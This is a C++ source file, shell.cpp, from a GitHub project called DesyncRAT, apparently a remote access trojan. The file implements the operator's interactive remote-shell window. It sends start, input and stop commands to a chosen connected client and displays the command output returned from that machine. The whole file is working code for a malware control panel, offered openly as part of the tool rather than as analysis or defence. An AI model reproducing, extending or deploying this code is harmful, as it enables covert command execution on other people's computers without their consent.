DesyncRAT/shell.cpp at main · rafosw/DesyncRAT · GitHub

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#include "shell.h"
#include "socket.h"
#include <wx/sizer.h>
#include <wx/statline.h>
#include <mutex>
#include <unordered_map>
#include <string>

static std::unordered_map<int, std::string> g_ShellOutput;
static std::mutex                            g_ShellMutex;

void Shell_AppendOutput(int clientId, const std::string& data)
{
    std::lock_guard<std::mutex> lk(g_ShellMutex);
    g_ShellOutput[clientId] += data;
}


ShellDialog::ShellDialog(wxWindow* parent, const wxString& clientName, int clientId)
    : wxDialog(parent, wxID_ANY, "Shell - " + clientName,
               wxDefaultPosition, wxSize(720, 480),
               wxDEFAULT_DIALOG_STYLE | wxMINIMIZE_BOX),
      m_clientId(clientId)
{
    SetFont(wxFont(9, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL, false, "Consolas"));
    SetBackgroundColour(wxColour(18, 18, 18));

    wxBoxSizer* root = new wxBoxSizer(wxVERTICAL);

    m_output = new wxTextCtrl(this, wxID_ANY, "", wxDefaultPosition, wxDefaultSize,
                              wxTE_MULTILINE | wxTE_READONLY | wxTE_RICH2 | wxTE_DONTWRAP);
    m_output->SetBackgroundColour(wxColour(12, 12, 12));
    m_output->SetForegroundColour(wxColour(180, 255, 120));
    m_output->SetFont(wxFont(9, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL, false, "Consolas"));
    root->Add(m_output, 1, wxEXPAND | wxALL, 4);

    wxBoxSizer* inputRow = new wxBoxSizer(wxHORIZONTAL);

    wxStaticText* prompt = new wxStaticText(this, wxID_ANY, ">");
    prompt->SetForegroundColour(wxColour(80, 200, 80));
    prompt->SetFont(wxFont(10, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_BOLD));

    m_input = new wxTextCtrl(this, wxID_ANY, "", wxDefaultPosition, wxDefaultSize,
                             wxTE_PROCESS_ENTER);
    m_input->SetBackgroundColour(wxColour(30, 30, 30));
    m_input->SetForegroundColour(wxColour(220, 220, 220));
    m_input->SetFont(wxFont(9, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL, false, "Consolas"));

    m_btnSend  = new wxButton(this, wxID_ANY, "Send", wxDefaultPosition, wxSize(70, -1));
    m_btnClear = new wxButton(this, wxID_ANY, "Clear", wxDefaultPosition, wxSize(70, -1));

    inputRow->Add(prompt,    0, wxALIGN_CENTER_VERTICAL | wxLEFT | wxRIGHT, 4);
    inputRow->Add(m_input,   1, wxEXPAND | wxRIGHT, 4);
    inputRow->Add(m_btnSend, 0, wxRIGHT, 4);
    inputRow->Add(m_btnClear, 0, wxRIGHT, 4);
    root->Add(inputRow, 0, wxEXPAND | wxLEFT | wxRIGHT | wxBOTTOM, 4);

    SetSizer(root);

    Bind(wxEVT_BUTTON,     &ShellDialog::OnSend,       this, m_btnSend->GetId());
    Bind(wxEVT_BUTTON,     &ShellDialog::OnClear,      this, m_btnClear->GetId());
    Bind(wxEVT_TEXT_ENTER, &ShellDialog::OnInputEnter, this, m_input->GetId());
    Bind(wxEVT_CLOSE_WINDOW, &ShellDialog::OnClose,    this);

    m_timer.SetOwner(this);
    Bind(wxEVT_TIMER, &ShellDialog::OnTimer, this);
    m_timer.Start(300);

    ServerManager::SendToClient(m_clientId, "{\"cmd\":\"shell\",\"action\":\"start\"}");

    Centre();
}

ShellDialog::~ShellDialog() { m_timer.Stop(); }

void ShellDialog::OnTimer(wxTimerEvent&)
{
    std::string data;
    {
        std::lock_guard<std::mutex> lk(g_ShellMutex);
        auto it = g_ShellOutput.find(m_clientId);
        if (it == g_ShellOutput.end() || it->second.empty()) return;
        data = std::move(it->second);
        it->second.clear();
    }
    m_output->AppendText(wxString::FromUTF8(data));
}

void ShellDialog::OnSend(wxCommandEvent&)
{
    wxString cmd = m_input->GetValue().Trim();
    if (cmd.empty()) return;

    if (cmd.Lower() == "cls" || cmd.Lower() == "clear")
    {
        m_output->Clear();
        m_input->Clear();
        return;
    }

    std::string c = cmd.ToStdString();
    std::string escaped;
    for (char ch : c) {
        if (ch == '"') escaped += "\\\"";
        else if (ch == '\\') escaped += "\\\\";
        else escaped += ch;
    }
    ServerManager::SendToClient(m_clientId,
        "{\"cmd\":\"shell\",\"action\":\"input\",\"input\":\"" + escaped + "\"}");
    m_input->Clear();
}

void ShellDialog::OnClear(wxCommandEvent&) { m_output->Clear(); }

void ShellDialog::OnInputEnter(wxCommandEvent& e) { OnSend(e); }

void ShellDialog::OnClose(wxCloseEvent&)
{
    m_timer.Stop();
    ServerManager::SendToClient(m_clientId, "{\"cmd\":\"shell\",\"action\":\"stop\"}");
    {
        std::lock_guard<std::mutex> lk(g_ShellMutex);
        g_ShellOutput.erase(m_clientId);
    }
    Destroy();
}

void ShellDialog::AppendOutput(const wxString& text)
{
    m_output->AppendText(text);
}